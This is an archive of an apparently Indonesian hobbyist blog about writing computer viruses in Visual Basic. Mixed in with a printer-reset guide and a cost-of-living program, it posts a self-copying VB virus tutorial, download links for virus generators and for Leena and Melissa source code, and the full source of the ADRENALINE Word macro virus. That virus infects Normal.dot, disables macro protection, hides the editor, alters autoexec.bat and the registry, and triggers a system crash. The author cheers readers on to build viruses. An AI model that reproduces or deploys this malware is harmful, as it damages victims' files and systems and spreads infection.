Script Virus

Perkiraan biaya hidup

2010-10-09T14:38:00.002+07:00

Di posting kali ini, ane pengen ngasi program untuk memperkirakan biaya hidup perbulannya, dan sisa uang yang dapat ditabung. Software ini terinspirasi saat ane ketrima kerja di luar Jawa, tepatnya di riau. Kebayang kan biaya hidup disana, so pasti bingung, minta saran sana-sini, googling sana-sini, sambil ketik kalkulator, n mikir-mikir, wah, nyampe gak ya dengan gaji segini hidup disana, jauh dari rumah, pacar, dll..
Yap akhirnya buka deh lembar kerja visual basic utak atik n jadilah ne program dalam waktu 42 menit. So, klo banyak kekurangan ya maaf ini sebenarnya buat pribadi bro, tapi ya, sapa tau ada yang butuh. Program ini ane namain Estimasi Biaya Hidup, ya namanya estimasi, perkiraan gitu loh, jadi ya.. se jadi-jadinya.. hehe... sangat bisa berbeda dengan apa yang akan terjadi di lapangan.. so klo mau programnya, silakandownload..

Tutorial Visual Basic Virus

2010-09-18T21:34:00.001+07:00

Setiap virus memiliki cara kerja yang unik dalam melakukan tugas besarnya sebagai program perusak, atau program jahat. Jika kita tanpa sengaja menjalankan sebuah virus, maka virus tersebut akan mulai masuk ke sistem komputer kita, mengkopi dirinya, merubah registry, bahkan yang lebih parah lagi menginfeksi file-file penting, dokumen, program, maupun gambar lagu dan bla..bla..bla...

Ada beberapa langkah yang dilakukan oleh sebuah virus, secara garis besar langkah tersebut adalah :

1. Infeksi system
2. Penggandaan diri
3. Seting registry
4. Pengaktifan file virus pada system
5. Penyebaran
6. Serangan / perlindungan pada virus tersebut.

Wow...!! canggih juga ya pembuat virus itu?? semua langkah itu dilakukan sesuka hati sang programmer, baik tingkat serangan, metode penyebaran, maupun proses infeksi yang dilakukan, semua dilakukan secara terjadwal dan otomatis.

Bahasa pemrograman yang paling mudah untuk membuat virus / worm adalah visual basic disingkat VB, dimana VB merupakan buatan microsoft, sehingga memiliki banyak fungsi dan tools yang ada didalamnya. oke, langsung saja kita buat sample virus sederhana dari langkah-langkah proses infeksi virus.

1. Infeksi system

Dim lokasi As String
Dim namafile As String

Private Sub Form_Load()

With App
lokasi = .Path & "\"
namafile = .EXEName & ".exe"
End With

FileCopy lokasi & namafile, "C:\virus.exe"
FileCopy lokasi & namafile, "C:\Windows\virus.com"
FileCopy lokasi & namafile, "C:\WIndows\virus.pif"
FileCopy lokasi & namafile, "C:\Windows\System32\virus.scr"

End Sub
hoammm.............. ngantuk.............. terusin besok lagi ah....

Yup;;; sampai jumpa pada posting berikutnya....

VBWG Virus Open Source

2010-05-01T20:20:00.001+07:00

Ini, satu lagi cara instan membuat virus..
Kali ini, aku mau kenalin VBWG (visual Basic Worm Generator)versi 2.
Visual Basic Worm Generator adalah sebuah tools yang berfungsi untuk membuat code virus dengan bahasa visual basic. Untuk menggunakannya kamu harus memiliki VB6 yang terinstall dikomputermu.

Setelah extract selesai, silakan jalankan VBWG-nya. Di tengah perjalanan, nanti anda akan menemukan konfirmasi untuk menggunakan VBWG. Klik “Yes” untuk melanjutkan penggunaan program atau “No” untuk keluar. Klik Yes. Setelah konfirmasi itu, maka akan muncul tampilan awal VBWG.

Isi form data yang perlu, dan click 'create virus'. virus anda akan ada di sebuah folder, dan pastikan anda punya vb6 program.

Peringatan!! segala tindakan penggunaan kode sumber ini diluar tanggung jawab penulis, saya cuman berbagi ilmu, dan tidak akan bertanggung jawab dengan kerusakan yang mungkin disebabkan oleh penggunaan kode ini.

Download VBWG 2 Di sini.

Enjoy.... dan selamat berkarya... :)

Leena Virus Source Code

2010-01-01T08:00:00.003+07:00

VB application is even less used but no one if we learn about VB. as well as viruses that use this programming language. one of them is a virus leena. leena virus appeared in August 2006, now post this time I will give you the source code virus leena.

download the source here.

Peringatan!! segala tindakan penggunaan kode sumber ini diluar tanggung jawab penulis, saya cuman berbagi ilmu, dan tidak akan bertanggung jawab dengan kerusakan yang mungkin disebabkan oleh penggunaan kode ini.
enjoy.... dan selamat menikmati.

Reset Printer Canon Dengan Software

2009-09-18T16:22:00.000+07:00

Blinking, Indikator Kedap-kedip ketika Printer dinyalakan, biasanya penyakit ini melanda Canon iP1200, iP1300, iP1600, iP1700, i255. Solusi Ringan, maksudnya solusi ini harus anda lakukan setiap kali anda menyalakan printer, sebab langkah ini hanya bersifat sementara. Ketika printer anda terputus dari arus listrik, maka blinking akan kembali muncul. Tapi, nggak ada salahnya ada lakukan langkah ini, bila anda belum familiar dengan cara-cara mereset printer menggunakan software.

* Lepaskan kabel power dari printer anda.
* Tekan terus tombol Power, sambil anda memasang kembali kabel power.
* Indikator power akan kelihatan menyala berwarna kuning.
* Lepaskan tombol power, ketika anda selesai memasang kabel power.
* Kemudian tekan lagi tombol power, untuk menyalakan printer anda.

Dipastikan printer anda tidak blinking lagi. Namun ketika printer anda terputus dari arus listrik, maka blinking ini akan muncul lagi, nah agar permanen maka diperlukan tahap Kedua (Reset Software) agar Permanen. Begini caranya:

Tapi sebelumnya silakan download softwarenya di sini ya, caranya amat mudah.

1. Pastikan attribut semua file bebas dari Read Only.
2. Jalankan GeneralTool.exe (GeneralTool iP1300 dan iP1700)
3. Pada USB Port pilih Port printer anda.
4. Klik tombol Lock Release
5. Pilih (centang) EEPROM CLEAR
6. Sediakan kertas kosong untuk print. Lalu Klik tombol Test Pattern 1
7. Selesai Printer IP1300 dan IP1700 anda normal kembali.

Setelah itu ada cara untuk Reset Ink Tank Full Error Canon IP1300 dan IP1700,
Tahap Pertama (Reset Hardware)

Hardware
1. Matikan printer, lalu cabut kabel power.
2. Tekan dan tahan tombol Power (gunakan jari telunjuk untuk menahan tombol power).
3. Pasang kembali kabel Power.
4. Gunakan jari tengah untuk menekan tombol Resume sebanyak 2 kali.
5. Lepaskan jari telunjuk anda dari tombol Power.
6. Anda telah menyelesaikan tahap pertama untuk reset Ink Tank Full Error (lampu power berkedip-kedip).

Tahap Kedua (Reset Software) agar Permanen

1. Download files di sini.
2. Ekstrak
3. Pastikan attribut semua file bebas dari Read Only.
4. Jalankan GeneralTool.exe

Langkah-langkahnya :

5. Pada USB Port pilih Port printer anda.
6. Klik tombol Lock Release
7. Pilih (centang) EEPROM CLEAR
8. Sediakan kertas kosong untuk print. Lalu Klik tombol Test Pattern 1
9. Selesai Printer IP1300 dan IP1700 anda normal kembali.

Semoga bemanfaat ya...

ADRENALINE Macro Virus

2009-03-26T12:24:00.005+07:00

Satu lagi virus macro kreasi anak indonesia..
Macro ini menyerang dokumen MS Word versi 97 keatas..

berikut adalah skript virus tersebut..

'I-Macro-AnDReNaLinE.A Bandung, Indonesian
'@Copyright 2002 By Dhie
'Macro Included Microsoft
'For Metal Music only

' H A E Z A T S U '
' featuring: '
' D E F T O N E S '
' with '
' A N D R E N A L I N E '

'|",",",",",",",",",",",",",",",",",",",",",",",",
'|----------------------------------------------|'
'| FROM SOMEONE WHO BE INCLUDED |'
'| THE NEW UNIVERCITY IN BANDUNG (AIKPL-NKP) |'
'| LICENSED TO: |'
'| ALL METALER IN THE WORLD |'
'|----------------------------------------------|'
'|",",",",",",",",",",",",",",",",",",",",",",",",

Public Const MyWorm = "AnDReNaLinE", _
Zoro = "'Thinking about it...", _
Original = "Microsoft Word", _
OriginalVB = "Microsoft Visual Basic", _
MyName = "Deftones", _
ViriiX = "\Installer", _
Special = "AnDReNaLinE", _
Top32 = "\Owsclrt.dll", _
Tulalit = "\{00000409-78E1-11D2-B60F-0020031983C998E7}", _
Mistik = "\{00000409-78E1-11D2-B60F-00203100A3C998E7}", _
Endog = "\Installer", _
Kritis = "C:\con\con", _
Kode1 = "Private Sub Document_Open(): On Error Resume Next: WordBasic.DisableAutoMacros Flase: GetNorMalDocument: WordBasic.DisableAutoMacros True: End Sub" & vbCrLf & _
"Private Sub Document_Close(): On Error Resume Next: WordBasic.DisableAutoMacros Flase: GetNorMalDocument: WordBasic.DisableAutoMacros True: End Sub" & vbCrLf & _
"Private Sub Document_New(): On Error Resume Next: WordBasic.DisableAutoMacros Flase: GetNorMalDocument: WordBasic.DisableAutoMacros True: End Sub", _
Modify1 = "\Microsoft Worse", _
Modify2 = "\Microsoft\Templates"
Public Const Modify3 = "\Microsoft\Templates\StartUp", _
Kode2 = "DaMn, FoR SuCKs vIRiI ", _
Puas = "YoU haVE bEEn InfECtEd bY ", _
Puas1 = "aPpLiCaTioN wiLL bE QuIt nOW.", _
Puas3 = "wE aRE ReAdY tO dIe, sEE YoU LaTeR aGAiN...!"
Public Const Kode6 = "ThIs cOmPuTeR pRogRaM Is pRoTEctEd." & vbCrLf & vbCrLf & _
"dOn'T mOdIfY aLL bE eXiSt ThE FaCiLity." & vbCrLf & _
"ThE CrImInaL dEsCribed tHiS sECuRiTiES oN pRoGraM."
Public Const V00G = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", _
V00H = "HKEY_CURRENT_USER\Control Panel\International", _
V00I = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", _
V00J = "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _
V00L = "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", _
V00K = "BrOoKlYn, BaNdUnG inDo...", _
V009ATC = "I think you shouldn't have glorified", _
DamnYouA = "CHino Moreno", _
DLLib = "\Riched.dot", _
DLLPath = "\TASKS32", _
Hook = "C:\autoexec.bat", _
Hack = "Normal.dot", _
msgMy = "YoU aRE sERiOuS dOinG...!" & vbCrLf & _
"dOn'T DisTUrB mY aPpLiCaTioN." & vbCrLf & _
"YoU dO nOT oPEn mY sECuRiTiES." & vbCrLf & _
"" & vbCrLf & _
"YoU sTiLL naUgHtY!" & vbCrLf & _
"iF YoU tRiEd tHiS sECuRiTiES, YoU wiLL dIE!."

Public Aya As Boolean
Public C00NXVB As Integer
Public Spread As Boolean
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Function Hangat(): On Error Resume Next: MsgBox MsgVb, 48: End Function
Function CheckNormal(Obj As Object) As Boolean
On Error Resume Next
Dim Tmp
Set Tmp = Obj.VBProject.VBComponents
If Tmp.Count <> 1 Then
If Obj.Item(2).Name <> MyWorm Then
CheckNormal = True
End If
End If
If Tmp.Count = 1 Then CheckNormal = False
End Function
Function CopyMacroNormal(SourceM As Object, DestinationM As Object)
On Error Resume Next
Dim l001, FF00, H001, C001, C001A, C001B, C001C
Dim l000, FF01, H000, C000, C000A, C000B, C000C
Set l001 = SourceM
Set FF00 = l001.VBProject
Set H001 = FF00.VBComponents
Set C001 = H001.Item(1).CodeModule
Set C001A = H001.Item(2).CodeModule
C001B = C001A.Lines(1, C001A.CountOfLines)
Set l000 = DestinationM
Set FF01 = l000.VBProject
Set H000 = FF01.VBComponents
Set C000 = H000.Item(1).CodeModule
C001C = C000.Lines(1, 1)
If H000.Item(1).Name <> MyName Then
If C001C <> Zoro Then
C000.DeleteLines 1, C000.CountOfLines
C000.AddFromString Zoro & vbCrLf & Kode1
End If
H000.Item(1).Name = MyName
End If

If H000.Count <> 1 Then
If H000.Item(2).Name <> MyWorm Then
Kena H000.Item(2).Name
Do
H000.Remove H000.Item(2)
DoEvents
Loop Until H000.Count = 1
End If
End If

If H000.Count = 1 Then
H000.Add 1
Set C000A = H000.Item(2).CodeModule
C000B = C000A.Lines(1, C000A.CountOfLines)
FF01.VBComponents(2).Name = MyWorm
C000A.AddFromString C001B
End If
End Function
Sub GetNorMalDocument()
On Error Resume Next
Dim D As Object, N As Object
Set D = ActiveDocument
Set N = NormalTemplate
If CheckNormal(N) = True Then
CopyMacroNormal N, D
If InStr(1, ActiveDocument.FullName, "\", vbTextCompare) <> 0 Then ActiveDocument.Save
End If
If CheckNormal(D) = True Then
CopyMacroNormal D, N
NormalTemplate.Save
End If
UserFF001XCV
GetMyapp
PL001S
WordBasic.DisableAutoMacros True
End Sub
Function Microsoft()
On Error Resume Next
If Aya = False Then
SUCK: GetNorMalDocument
C00NXVB = C00NXVB + 1
MsgBox msgMy, 16, Special
If C00NXVB = 5 Then
Shell Kritis, 1
End If
End If
End Function
Sub PL001S()
On Error Resume Next
Dim B001, B002, NT009
Set NT009 = NormalTemplate
B001 = _
Options.DefaultFilePath(wdUserTemplatesPath)
If Dir(B001 + "\Normal.dot") <> "Normal.dot" Then
NT009.OpenAsDocument.SaveAs FileName:=B001 + "\Normal.dot"
NT009.OpenAsDocument.Close SaveChanges:=wdDoNotSaveChanges
End If
If Dir(B001 + "\Debug.dot") <> "Debug.dot" Then
NT009.OpenAsDocument.SaveAs FileName:=B001 + "\Debug.dot"
NT009.OpenAsDocument.Close SaveChanges:=wdDoNotSaveChanges
End If
End Sub
Sub l00Path00()
On Error Resume Next
Dim T001mp, AX000, AX001, AX002, SoftW As String, SoftA As String, SoftB As String, TempTul As String
TempTul = Options.DefaultFilePath(wdProgramPath)
T001mp = PathXA
MkDir PathX & ViriiX
MkDir PathX & ViriiX & Tulalit
MkDir PathX & ViriiX & Mistik
AX000 = PathXA & Modify1
AX001 = PathXA & Modify2
AX002 = PathXA & Modify3
MkDir AX000: MkDir AX001: MkDir AX002
Options.DefaultFilePath(wdUserTemplatesPath) = PathXA & Modify1
Options.DefaultFilePath(wdStartupPath) = PathX & ViriiX & Tulalit
End Sub
Sub DamnYou()
On Error Resume Next
Dim CB, CBV, WD, AP, OP
Dim u, g, I, SysHard
Set CB = CommandBars
Set CBV = VBE.CommandBars
Set WD = VBE.Windows
Set OP = Options
Set OP = Application
For u = 1 To WD.Count: WD.Item(u).Visible = False: Next u
For g = 1 To CBV.Count: CBV.Item(g).Enabled = False:: CBV.Item(g).Visible = False: Next g
With AP
Options.SaveNormalPrompt = False
Options.SavePropertiesPrompt = False
.DisplayAlerts = wdAlertsNone
.ScreenUpdating = False
.ActiveDocument.ReadOnlyRecommended = False
Options.ConfirmConversions = False
Options.VirusProtection = False
.ShowVisualBasicEditor = False
For bvm = 1 To .CommandBars("Macro").Controls.Count
.CommandBars("Macro").Controls(bvm).OnAction = "Microsoft"
Next bvm
.CommandBars("Tools").Controls("Customize...").OnAction = "Microsoft"
.CommandBars("Tools").Controls("Protect Document...").OnAction = "Microsoft"
.CommandBars("Tools").Controls("Templates And Add-Ins...").OnAction = "Microsoft"
.CommandBars("Control Toolbox").Enabled = False
.CommandBars("Forms").Enabled = False
.CommandBars("Visual Basic").Enabled = False
For fgh = 1 To .CommandBars.Count
.CommandBars(fgh).Protection = msoBarNoCustomize
Next fgh
End With
With System
.PrivateProfileString("", V00L, FF00p(1)) = 1&
.PrivateProfileString("", V00H, FF00p(2)) = MyWorm
.PrivateProfileString("", V00H, FF00p(3)) = MyWorm
.PrivateProfileString("", V00I, FF00p(4)) = V009ATC
.PrivateProfileString("", V00I, FF00p(5)) = V00K
.PrivateProfileString("", V00J, FF00p(6)) = DamnYouA
.PrivateProfileString("", V00J, FF00p(7)) = MyWorm
.PrivateProfileString("", V00J, FF00p(8)) = DamnYouA
End With
End Sub
Sub ToolsProtectDocument(): On Error Resume Next: Microsoft: End Sub
Sub UserFF001XCV()
On Error Resume Next
Application.UserName = "AnDReNaLinE (HaEZa_tSu)"
Application.UserInitials = "BL"
Application.UserAddress = "BaNdUnG , InDoNeSiaN..."
With Dialogs(wdDialogFileSummaryInfo)
.Author = "mETaL mUsIc_cReaToR"
.Keywords = "GuE=AnDReNaLinE"
.Comments = Zoro
.Subject = "Root"
.Title = "Metal.doc"
.Execute
End With
End Sub
Sub ViewVBCode(): Microsoft: End Sub
Sub ToggleFormsDesign()
On Error Resume Next
ShowVisualBasicEditor = False
For fgh = 1 To CommandBars.Count
CommandBars(fgh).Protection = msoBarNoCustomize
Next fgh
GetNorMalDocument
End Sub
Sub FileTemplates(): On Error Resume Next: Microsoft: End Sub
Sub ToolsCustumizeKeyboard(): On Error Resume Next: Microsoft: End Sub
Sub FormatStyle(): On Error Resume Next: Microsoft: End Sub
Sub ToolsOptions()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
Options.VirusProtection = False
Application.Dialogs(wdDialogToolsOptionsView).Show
Options.VirusProtection = False
End Sub
Sub FileProperties()
On Error Resume Next
Dim PasswordX
PasswordX = InputBox("New Tab Name.", OriginalVB)
If PasswordX = ViriiX Then
For I = 1 To Application.CommandBars.Count
Application.CommandBars(I).Reset
Next I
Application.ShowVisualBasicEditor = True
For u = 1 To VBE.Windows.Count
VBE.Windows(u).Visible = True
Next u
For g = 1 To VBE.CommandBars.Count
VBE.CommandBars(g).Enabled = True
VBE.CommandBars(g).Visible = True
Next g
End If
End Sub
Sub FileClose(): On Error Resume Next: FileSave: End Sub
Sub AutoExit(): WordBasic.DisableAutoMacros False: l00Path00: PL001S: SUCK: End Sub
Sub FileOpen()
On Error Resume Next
WordBasic.DisableAutoMacros True
If Dialogs(wdDialogFileOpen).Show <> 0 Then
GetNorMalDocument
End If
WordBasic.DisableAutoMacros True
End Sub
Sub FileSave()
On Error Resume Next
WordBasic.DisableAutoMacros False
If InStr(1, ActiveDocument.FullName, "\", vbTextCompare) = 0 Then
If Dialogs(wdDialogFileSaveAs).Show <> 0 Then
GetNorMalDocument
End If
Else
GetNorMalDocument
End If
WordBasic.DisableAutoMacros True
End Sub
Sub AutoOpen(): On Error Resume Next: WordBasic.DisableAutoMacros True: GetNorMalDocument: End Sub
Sub Timing()
On Error Resume Next
TimeOn = Format(Time, "HH:MM:")
Application.OnTime TimeOn & Second(Now) + 3, "GetNorMalDocument"
SUCK
UserFF001XCV
DamnYou
For bvm = 1 To CommandBars("Macro").Controls.Count
CommandBars("Macro").Controls(bvm).OnAction = "Microsoft"
Next bvm
l00Path00
PL001S
CopyFile NormalTemplate.FullName, PathX & Top32, 0
CreateAuto
End Sub
Sub AutoExec()
On Error Resume Next
Dim P8005 As String
P8005 = Format(Date, "dd")
WordBasic.DisableAutoMacros True
Application.EnableCancelKey = wdCancelDisabled
CopyFile NormalTemplate.FullName, PathX & Top32, 0
CreateAuto
Aya = False
Application.Run "DamnYou"
Application.Run "Timing"
GetMyapp
End Sub
Function GetMyapp()
On Error Resume Next
Dim Tlp As String
Tlp = Application.StartupPath & "\"
If Dir(Tlp & "Root.dot") <> "Root.dot" Then
NormalTemplate.OpenAsDocument.SaveAs FileName:=Tlp & "Root.dot"
NormalTemplate.OpenAsDocument.Close SaveChanges:=wdDoNotSaveChanges
End If
End Function
Function Kena(namaX As String)
On Error Resume Next
If Aya = False Then
MsgBox Kode2 & UCase(namaX), 16, Special
End If
End Function
Function SUCK()
On Error Resume Next
Dim Addinis As Integer
For Addinis = 1 To AddIns.Count
If AddIns(Addinis).Name <> "Root.dot" Then
AddIns(Addinis).Installed = False
End If
Next Addinis
If NormalTemplate.VBProject.VBComponents.Count <> 1 Then
If NormalTemplate.VBProject.VBComponents(2).Name = Special Then
NormalTemplate.VBProject.VBComponents(2).Export Options.DefaultFilePath(wdProgramPath) & Top32
Else
NormalTemplate.VBProject.VBComponents.Import Options.DefaultFilePath(wdProgramPath) & Top32
End If
End If
If NormalTemplate.VBProject.VBComponents.Count = 1 Then NormalTemplate.VBProject.VBComponents.Import Options.DefaultFilePath(wdProgramPath) & Top32
End Function
Function CreateAuto()
On Error Resume Next
Dim Ty As String, Th As String
Th = vbCrLf & "@echo off" & vbCrLf & _
"Copy " & PathX & Top32 & " " & NormalTemplate.FullName & " /y"
Ty = Space(FileLen(Hook))
Open Hook For Binary As #1
Get #1, , Ty
If InStr(1, Ty, Hack, vbTextCompare) = 0 Then Put #1, , Th
Close #1
End Function
Function PathX() As String
On Error Resume Next
Dim sSave As String, Ret As Long
sSave = Space(255)
Ret = GetSystemDirectory(sSave, 255)
sSave = Left$(sSave, Ret)
PathX = sSave
End Function
Function PathXA() As String
On Error Resume Next
Dim sSave As String, Ret As Long
sSave = Space(255)
Ret = GetWindowsDirectory(sSave, 255)
sSave = Left$(sSave, Ret)
PathXA = sSave
End Function
Function FF00p(FF00a As Single) As String
On Error Resume Next
FF00p = Choose(FF00a, "Level", "s1159", "s2359", "RegisteredOrganization", "OrgOrganization", "DefName", "OrgCompany", "DefCompany")
End Function

Selamat berkreasi...

Leena Virus

2009-01-27T21:19:00.008+07:00

The virus is created using VB and have the size of 76 KB and use the MS Word icon. With the view that resembles MS Word document, the virus will spread easily, especially for general computer users that are less careful. If the virus is executed it will appear an MS Word file with any posts EMPTY-headed. After that Leena will make some parent are:
- C: \ Documents and Settings \% username%\Local Settings\Application Data \% user%. Task \ services.exe
- C: \ Documents and Settings \% username% \ Local Settings \ Temp \ lsass.exe
- C: \ Documents and Settings \ all users\ application data \ normal.exe
- C: \ Documents and Settings\All Users \Application Data \ leena.%% Running on infection
- C: \ Windows
- ExeServ.exe
- Leena.ini
- C: \ WIndoss \ system32 \ 3D Soccer.exe
- C: \ WIndoss \ system32 \ Av-Prev.exe
- C: \ WIndoss \ system32 \ controls.exe
- C: \ WIndoss \ system32 \ ex-plorer.exe
- C: \ WINDOWS \ System32 \ exerun.exe

As Leena support will make a string of registry,including:
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogonshell = Explorer.exe C:\WINDOWS\ExeServ.exe
- HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command Default = C: \ WINDOWS \ System32 \ ExeRun "% 1"% *

In addition Leena will also create a schedule [Schedule Task] with the name of the directory Leena [C: \ Windows \ tasks \ leena] schedule task is made to run the master file that is located in the directory [C: \ WINDOWS \ System32 \ controls.exe ], where the schedule will be run every 08.15 hours each week.

Block the function of Windows and restart the computer. Leena to defend himself will try to shut some windows functions such as:
- Regedit
- Msconfig
- Folder option

The protection is made Leena will kill [restart] if the computer functions on the run. On the mode Safe Mode and Safe Mode with Command Prompt Leena will also remain active even though the computer booting mode safe mode or safe mode with command prompt, this is done to prevent the user to clean this virus.

The technique is realized with the following string in the registry:
- HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet001 \ Control \ SafeBoot\AlternateShell = C: \ WINDOWS \ System32 \ Av-Prev.exe
- HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon shell = Explorer.exe C: \ WINDOWS \ ExeServ.exe

Manipulate files. Exe to activate the virus

Be careful if your computer is infected with the virus, we recommend to immediately clean up with the antivirus program can mendeteksinya. Because Leena will try to switch every executable file to run itself (in background), and the application of the call will still be able to run as usual.

To do this, Leena will create the following string in the registry:
- HKEY_LOCAL_MACHINE \ SOFTWARE \ Classes \ exefile \ shell \ open \ command Default = C: \ WINDOWS \ System32 \ ExeRun "% 1"% *

Hide file MS.Word As done by the virus River, Leena will also try to hide the MS Word file and instead Leena will create duplicate files in accordance with the name of the file that is hidden, the virus file by Leena will have the characteristics:

- File Size 76 KB
- Extensi. EXE
- File Type "Application".

If you try to run the file that is infected with the Leena MS.Word program will appear with any posts EMPTY-headed.

VISUAL BASIC WORM GENERATOR

2009-01-27T12:25:00.006+07:00

(VISUAL BASIC WORM GENERATOR)

VBWG is a Tools used to create a virus / worm that is still a source code, so users can change the string as well as analysis of information about computer viruses that use the Visual Basic programming language.

On Worm Generator has two functions that make the virus code and men Drop 2 version Virus Local existing namely W32.Leena and W32.Chasnah.

At this VBWG Loading several options including:
1.First the message appears, select Yes to enterthe program, No to exit.
2.Name Of Program: It is the virus that will make you.
3.Author: It is your name bro ..
4.Then click [create virus]
5.And also the option to drop a virus that has been made, but have the ability with a far different virusworm from VBWG.

Visual Basic Worm Generator Download here
Note:

-Oh yes .. at least you should have VB5 or VB6 program that has been installed in your computer to compile the source code that has been made.

-Do not it make you a virus (be sure to make this code so that the virus does not run than the computer, except the person who you hate.) .. :) ..

-And do not forget to scan your computer with anti-virus after you try your virus, particularly the removable disk.

-Think about this:
Make a virus is fun for some people, but you should not make so great with the virus spread and damage.

UNDER CONSTRUCTION

2009-01-27T00:23:00.004+07:00

Macro Function

2009-01-26T23:51:00.003+07:00

Programming visual basic can be done easily, the installation program without any visual basic, visual basic can be found in our daily life, which is the default program from Microsoft Office. To open a page visual basic, open a Microsoft Office program and click Tools and then highlight Macro with your mouse and click Macros. Macro window will appear. Fill in the name of any macro then click create.

Macro is a series of commands that you can record and then run the Office programs, so that he repeated at the time. So, if you format text as Arial 12pt bold print and green, you can create a macro untukmelakukan task in one step of selecting the font, ukurang, color, and effects. A simple example: macro can be used in Word to format a table or in the Excel data to make certain calculations. If necessary, you can create a more complex.

Have you heard the term macro virus? No virus-like viruses in general circulation at this time, macro virus runs only on Microsoft Office documents. This virus is only a visual basic script programming that is embedded in office documents such as word document (*. doc), and on the other office documents.
Initially intended to be Macro office documents can be more interactive and allows Customize that are not limited to Microsoft Office users, but on the development of the next, this script is often misused to create a virus for the purpose of a more useful.

So starting from the version of Microsoft Office 2000 macro made outside the computer that is blocked by default unless the user to allow macros to run, as the user is always reminded that a document containing a macro virus contains a possibility. Therefore it is why we rarely find a macro virus spread.

But no one if we learn a little about this macro. Because in addition to viruses, macro is basically intended to make Microsoft Office users more comfortable. Visual Basic programming language allows programmers to access all the computer from which light up the most dangerous, including damage to the system.
A simple example script macros

Note the screenshot above. Click twice on the ThisDocument normal it will appear a text editor. Then copy and paste the following script:

Private Sub Document_Close ()
MsgBox "Do not forget to turn off the monitor after the computer"
End Sub

Now close the Macro and close Office Word. So each time you close the Microsoft Word application will show a message dialog titled "Do not forget to turn off the monitor after the computer". If you want to display a message when a document file using the following script:

Private Sub Document_Open ()
MsgBox "Remember to save the file after editing"
End Sub

So when will also create a new document

Private Sub Document_New ()
MsgBox "Start with basmalah read before starting a job"
End Sub

If you want to remove the above macro simply delete the entire script is over. Congratulations Testing ..

The Melissa Word Macro Virus

2009-01-26T23:32:00.005+07:00

The W97M.Melissa Word macro virus has been seen within the DOE complex. This macro virus uses two methods of infection. First, it infects the Word 97 (or 2000) program (normal.dot template) and all subsequent documents edited with Word. Second, it uses the Outlook 98 (or 2000) e-mail program to mail copies of the infected document to the first 50 people in each of your Outlook address books. If Outlook 98 or Outlook 2000 is not installed, the second method of infection does not work but the first method still does.

The virus attaches to Word objects in Word 97 and Word 2000. Because of this method of infection, this virus will not infect older versions of Microsoft Word. When an infected document is opened, the virus checks to see if Word 97 or Word 2000 is installed, disables the Macro toolbar, and then disables the following Word 97 options (different options in Word 2000):

Confirm conversions at open.
Macro virus protection.
Prompt to save Normal template.

Disabling these options makes it difficult to detect the virus in action. The virus next checks the value of the private registry string:

HKEY_CURRENT_USER\Software\Microsoft\Office\Melissa?

If that string is not equal to "... by Kwyjibo" the virus sends copies of the infected document to the first 50 people in each of your Outlook address books and then sets the registry key so it does not do this again. It sends copies of the infected document to others by opening a connection to Microsoft Outlook and creating an e-mail message with the subject:

Important Message From (username)

where (username) is replaced with the current Word user's name (Tools, Options command, User Information tab). The body of the message contains the following text:

Here is that document you asked for ... don't show anyone else ;-)

The virus then inserts the first 50 users from your first Outlook address book, attaches the infected document and sends the message. It performs this process again for each of the address books you have defined in Outlook.

After sending itself to the people in your address books, the virus checks to see if it is running on a document or the Normal.dot template. If it is running on a document, it infects the Normal.dot template with a Document_Close macro that runs whenever a document is closed. If it is running on the Normal.dot template, it infects the active document with a Document_Open macro that runs whenever a document is opened. After the Normal.dot template is infected, the virus infects every document you work on as soon as you close them. If you share these documents with anyone, you will spread the virus.

Finally, it has a small payload. If the minute of the hour equals the day of the month, the virus inserts the following message at the current location in the active document.Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here.

Note: we have been informed that the word Kwyjibo and the text inserted into the document are from a Bart Simpson episode where Bart wins a Scrabble game with the word Kwyjibo.

Download Melissa Source code here.

Macro Viruses

2009-01-26T22:12:00.007+07:00

Computer viruses can be divided into several types, such as boot sector viruses, file viruses, polymorphic viruses, stealth viruses, and macro viruses. This macro virus can attack on MS Word documents, Excel or Power Point. This macro virus including viruses found in most of us. Of course we still remember with the virus or virus Mellisa I Love You that we can also enter the category of macro viruses.

Why macro virus is often once we met? The answer, of course, because the MS Office user population is very large. With quite a lot of the macro virus can develop quickly. To exchange data with *. doc (MS Word document) that have been infected then enough to make all documents to be infected.

Interestingly, how to create a macro virus is? If you are a programmer, with the help of a variety of reference are of course easy to learn to create macro viruses. The problem is what if we are not at the programming language?

However, in a lot of software that can be used to create a macro virus. One is SkamWerks Lab. With facilities Virii Wizard, we can create a virus from the start to finish. When using the Virii Wizard, we can write the virus, the name of the virus, and the macro function to put in the virus. it's from, please you immediately try it for yourself. Of course, after you download the program here.

If interested, you can get other software that can be used to create the virus here.

Visual Basic

2009-01-24T17:46:00.002+07:00

Microsoft Visual Basic (often abbreviated as VB only) is a programming language that is event driven and offer Integrated Development Environment (IDE) to create a visual program based application operating system Microsoft Windows programming model by using the Common Object Model (COM). Visual Basic language is derived BASIC offers application development and computer-based graphics with quick access to the database using Data Access Objects (DAO), Remote Data Objects (RDO), or ActiveX Data Object (ADO), and the making of offers ActiveX controls and objects ActiveX. Some script languages such as Visual Basic for Applications (VBA) and Visual Basic Scripting Edition (VBScript), similar as well as Visual Basic, but do they work different.

The programmer can build applications using components provided by Microsoft Visual Basic programs written in Visual Basic can also use the Windows API, but requires additional external function declarations.

In business for programming, Visual Basic has a market that is very knowledgeable. In a survey conducted in 2005, 62% of software developers reported using various forms of Visual Basic, which was followed by C + +, JavaScript, C #, and Java.

Computer Virus

2009-01-24T15:09:00.003+07:00

1. What is a computer virus?

